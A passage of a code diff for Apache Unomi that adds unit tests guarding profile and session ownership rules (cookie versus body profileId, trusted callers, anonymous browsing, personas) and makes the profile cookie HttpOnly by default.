"systemscope", null, "attacker-supplied-profile", null, + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + verify(profileService).load("cookie-profile"); + verify(profileService, never()).load("attacker-supplied-profile"); + } + + @Test + void initEventsRequest_ignoresBodyProfileIdWithoutCookieForPublicCaller() { + when(request.getCookies()).thenReturn(null); + + try { + restServiceUtils.initEventsRequest( + "systemscope", null, "victim-profile-id", null, + false, false, request, response, new Date()); + throw new AssertionError("Expected BadRequestException when public caller has only a body profileId"); + } catch (javax.ws.rs.BadRequestException expected) { + // Body profileId is ignored; with no cookie/session the request cannot bind a profile + } + + verify(profileService, never()).load("victim-profile-id"); + } + + @Test + void initEventsRequest_allowsBodyProfileIdWhenItMatchesCookie() { + Profile profile = new Profile("same-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "same-profile")}); + when(profileService.load("same-profile")).thenReturn(profile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "same-profile", null, + false, false, request, response, new Date()); + + assertEquals("same-profile", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_refusesSessionProfileSwitchWithoutMatchingCookie() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "cookie-profile", null, + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + // Foreign session must be detached (not rebound to the cookie profile) + assertEquals(null, ctx.getSession()); + assertEquals("session-owner", session.getProfileId()); + verify(profileService, never()).load("session-owner"); + } + + @Test + void initEventsRequest_trustedAdminMayUseBodyProfileIdOverride() { + Profile bodyProfile = new Profile("admin-chosen"); + when(securityService.hasSystemAccess()).thenReturn(true); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("admin-chosen")).thenReturn(bodyProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "admin-chosen", null, + false, false, request, response, new Date()); + + assertEquals("admin-chosen", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_trustedBodyOverride_notUndoneByMatchingCookieSession() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile bodyProfile = new Profile("admin-chosen"); + Session session = new Session("sess-1", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("admin-chosen")).thenReturn(bodyProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "admin-chosen", null, + false, false, request, response, new Date()); + + assertEquals("admin-chosen", ctx.getProfile().getItemId()); + } + + @Test + void initEventsRequest_trustedCaller_maySwitchToSessionProfile() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess-1")).thenReturn(session); + when(profileService.load("session-owner")).thenReturn(sessionOwner); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "cookie-profile", null, + false, false, request, response, new Date()); + + assertEquals("session-owner", ctx.getProfile().getItemId()); + } + + /** + * {@code invalidateSession=true} replaces the session bound to the supplied id, so it must not + * be usable to sidestep the ownership rule: a public caller passing a session id owned by + * someone else has to be refused rather than have it re-created pointing at their own profile. + */ + @Test + void initEventsRequest_publicCallerCannotInvalidateAForeignSession() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "foreign-sess", null, null, + false, true, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + assertTrue(ctx.isSessionRefused(), "the refusal must be visible to the endpoint building the response"); + assertNull(ctx.getSession(), "no session may be created for a refused id"); + // The refused id must not be written back over the real owner's session. + verify(profileService, never()).saveSession(org.mockito.ArgumentMatchers.any(Session.class)); + } + + /** The same call is legitimate for a trusted caller, which may rebind sessions deliberately. */ + @Test + void initEventsRequest_trustedCallerMayInvalidateAForeignSession() { + when(securityService.hasSystemAccess()).thenReturn(true); + + Profile cookieProfile = new Profile("cookie-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + lenient().when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "foreign-sess", null, null, + false, true, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession(), "a trusted caller still gets a session for the supplied id"); + assertEquals("foreign-sess", ctx.getSession().getItemId()); + } + + /** A public caller invalidating a session it already owns is normal and must keep working. */ + @Test + void initEventsRequest_publicCallerMayInvalidateItsOwnSession() { + Profile cookieProfile = new Profile("cookie-profile"); + Session ownSession = new Session("own-sess", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + lenient().when(profileService.loadSession("own-sess")).thenReturn(ownSession); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "own-sess", null, null, + false, true, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession()); + assertEquals("own-sess", ctx.getSession().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // Anonymous browsing. All four branches of the anonymity handling in initEventsRequest are + // pinned here BEFORE any change to the session-ownership check, because the ownership check + // currently skips anonymous profiles entirely: tightening it without this safety net would + // silently detach the session of every legitimately anonymous visitor on every request. + // --------------------------------------------------------------------------------------- + + /** + * Branch 1: the visitor wants anonymity and the session already carries an anonymous profile, + * so nothing changes. This is the steady state of an anonymous visitor and must stay a no-op. + */ + @Test + void anonymousBrowsing_alreadyAnonymousSession_isLeftUntouched() { + Profile cookieProfile = new Profile("cookie-profile"); + Profile anonymousProfile = anonymous(); + Session session = new Session("anon-sess", anonymousProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused(), "an anonymous visitor's own session must not be refused"); + assertNotNull(ctx.getSession()); + assertTrue(ctx.getSession().getProfile().isAnonymousProfile(), + "the session must keep its anonymous profile"); + assertEquals("cookie-profile", ctx.getProfile().getItemId(), + "the request profile stays the real cookie profile"); + } + + /** + * Branch 2: the visitor has just asked for anonymity while their session still carries the real + * profile, so the session is switched to an anonymous profile. This is how anonymity is entered. + */ + @Test + void anonymousBrowsing_entering_replacesSessionProfileWithAnonymous() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("sess", cookieProfile, new Date(), "systemscope"); + Profile anonymousProfile = anonymous(); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true); + when(privacyService.getAnonymousProfile(cookieProfile)).thenReturn(anonymousProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertTrue(ctx.getSession().getProfile().isAnonymousProfile(), + "entering anonymity must swap the session profile for an anonymous one"); + assertTrue((ctx.getChanges() & EventService.SESSION_UPDATED) != 0, + "the session change must be flagged so it is persisted"); + } + + /** + * Branch 3: the visitor has turned anonymity off, so their anonymous session is bound back to + * their real profile. This is the branch an ownership check would most easily break, and it is + * also the branch an attacker reaches with a stolen anonymous session id — so it must keep + * working for the legitimate case while the fix is designed. + */ + @Test + void anonymousBrowsing_leaving_rebindsSessionToTheRealProfile() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(false); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertNotNull(ctx.getSession()); + assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId(), + "leaving anonymity must bind the session back to the visitor's real profile"); + } + + /** Branch 4: the ordinary non-anonymous case — the session is bound to the caller's profile. */ + @Test + void anonymousBrowsing_notAnonymousAtAll_bindsSessionToCallerProfile() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("sess", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("sess")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess", null, null, + false, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused()); + assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // Personas. A personaId short-circuits binding entirely: the profile and session both come + // from the persona, and the cookie/body binding logic below it never runs. Nothing covered + // this before, so a change to the binding code could have silently broken persona preview. + // --------------------------------------------------------------------------------------- + + /** A persona overrides the cookie profile outright, and brings its own session with it. */ + @Test + void persona_overridesCookieProfileAndSuppliesItsOwnSession() { + Persona persona = new Persona("persona-1"); + PersonaSession personaSession = new PersonaSession("persona-sess", persona, new Date()); + PersonaWithSessions personaWithSessions = + new PersonaWithSessions(persona, Collections.singletonList(personaSession)); + + lenient().when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, "persona-1", + false, false, request, response, new Date()); + + assertEquals("persona-1", ctx.getProfile().getItemId(), "the persona must win over the cookie"); + assertNotNull(ctx.getSession(), "the persona's own session must be used"); + assertEquals("persona-sess", ctx.getSession().getItemId()); + verify(profileService, never()).load("cookie-profile"); + } + + /** A persona also wins over an explicitly supplied body profileId. */ + @Test + void persona_winsOverBodyProfileId() { + Persona persona = new Persona("persona-1"); + PersonaWithSessions personaWithSessions = + new PersonaWithSessions(persona, Collections.singletonList( + new PersonaSession("persona-sess", persona, new Date()))); + + when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, "some-other-profile", "persona-1", + false, false, request, response, new Date()); + + assertEquals("persona-1", ctx.getProfile().getItemId()); + verify(profileService, never()).load("some-other-profile"); + } + + /** + * An unknown persona must not blow up the request: the persona is simply not applied and the + * normal cookie binding takes over, so a stale persona id degrades to ordinary tracking. + */ + @Test + void persona_unknownId_fallsBackToNormalCookieBinding() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadPersonaWithSessions("missing-persona")).thenReturn(null); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, "missing-persona", + false, false, request, response, new Date()); + + assertEquals("cookie-profile", ctx.getProfile().getItemId()); + } + + // --------------------------------------------------------------------------------------- + // invalidateProfile. Untested at IT level, and it sits inside the same block the security + // changes rewrote, so pin it: it must still hand the visitor a brand new profile rather than + // reusing the cookie one. + // --------------------------------------------------------------------------------------- + + /** invalidateProfile discards the cookie profile and issues a fresh one. */ + @Test + void invalidateProfile_issuesANewProfileInsteadOfTheCookieOne() { + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, null, + true, false, request, response, new Date()); + + assertNotNull(ctx.getProfile()); + assertFalse("cookie-profile".equals(ctx.getProfile().getItemId()), + "invalidateProfile must not reuse the cookie profile"); + } + + /** invalidateProfile is honoured for a trusted caller too, not silently swallowed by the trust path. */ + @Test + void invalidateProfile_alsoAppliesForTrustedCallers() { + when(securityService.hasSystemAccess()).thenReturn(true); + Profile cookieProfile = new Profile("cookie-profile"); + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", null, null, null, + true, false, request, response, new Date()); + + assertNotNull(ctx.getProfile()); + assertFalse("cookie-profile".equals(ctx.getProfile().getItemId())); + } + + /** + * A trusted server-side integration has no browser and therefore no profile cookie, so an + * explicit body profileId is the only way it can name the profile it means. Before the fix the + * override only counted when a cookie was also present, so this request had its profile silently + * replaced by the session's owner - the opposite of the documented behaviour for trusted callers. + */ + @Test + void trustedCaller_explicitBodyProfileId_survivesWithoutACookie() { + when(securityService.hasSystemAccess()).thenReturn(true); + Profile intended = new Profile("intended-profile"); + Profile sessionOwner = new Profile("session-owner"); + Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(null); + when(profileService.load("intended-profile")).thenReturn(intended); + when(profileService.loadSession("sess-1")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "sess-1", "intended-profile", null, + false, false, request, response, new Date()); + + assertEquals("intended-profile", ctx.getProfile().getItemId(), + "a trusted caller's explicit profileId must not be overridden by the session owner"); + verify(profileService, never()).load("session-owner"); + } + + /** A profile carrying the anonymous marker, as {@code PrivacyService#getAnonymousProfile} builds it. */ + private static Profile anonymous() { + Profile anonymousProfile = new Profile(); + anonymousProfile.getSystemProperties().put("isAnonymousProfile", true); + return anonymousProfile; + } + + private static void setField(Object target, String fieldName, Object value) throws Exception { + Field field = target.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(target, value); + } +} diff --git a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java index f5d1a145d..8932eac7d 100644 --- a/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java +++ b/web-servlets/src/main/java/org/apache/unomi/web/servlets/WebConfig.java @@ -58,7 +58,7 @@ public class WebConfig { int contextserver_profileIdCookieMaxAgeInSeconds() default 31536000; @AttributeDefinition - boolean contextserver_profileIdCookieHttpOnly() default false; + boolean contextserver_profileIdCookieHttpOnly() default true; @AttributeDefinition String allowed_profile_download_formats() default "csv,yaml,json,text"; diff --git a/web-servlets/src/main/resources/org.apache.unomi.web.cfg b/web-servlets/src/main/resources/org.apache.unomi.web.cfg index eb488515d..ad620bc11 100644 --- a/web-servlets/src/main/resources/org.apache.unomi.web.cfg +++ b/web-servlets/src/main/resources/org.apache.unomi.web.cfg @@ -23,7 +23,7 @@ contextserver.profileIdCookieName=${org.apache.unomi.profile.cookie.name:-contex # This setting controls the maximum age of the profile cookie. By default it is set to a year. contextserver.profileIdCookieMaxAgeInSeconds=${org.apache.unomi.profile.cookie.maxAgeInSeconds:-31536000} # This setting controls if the cookie should be flagged as HttpOnly or not. -contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-false} +contextserver.profileIdCookieHttpOnly=${org.apache.unomi.profile.cookie.httpOnly:-true} #Allowed profile download formats, actually only csv (horizontal and vertical), json, text and yaml are allowed. allowed.profile.download.formats=${org.apache.unomi.profile.download.formats:-csv,yaml,json,text} # This setting allow for request size (Content-length) protection. Checking that the requests do not exceed the limit.
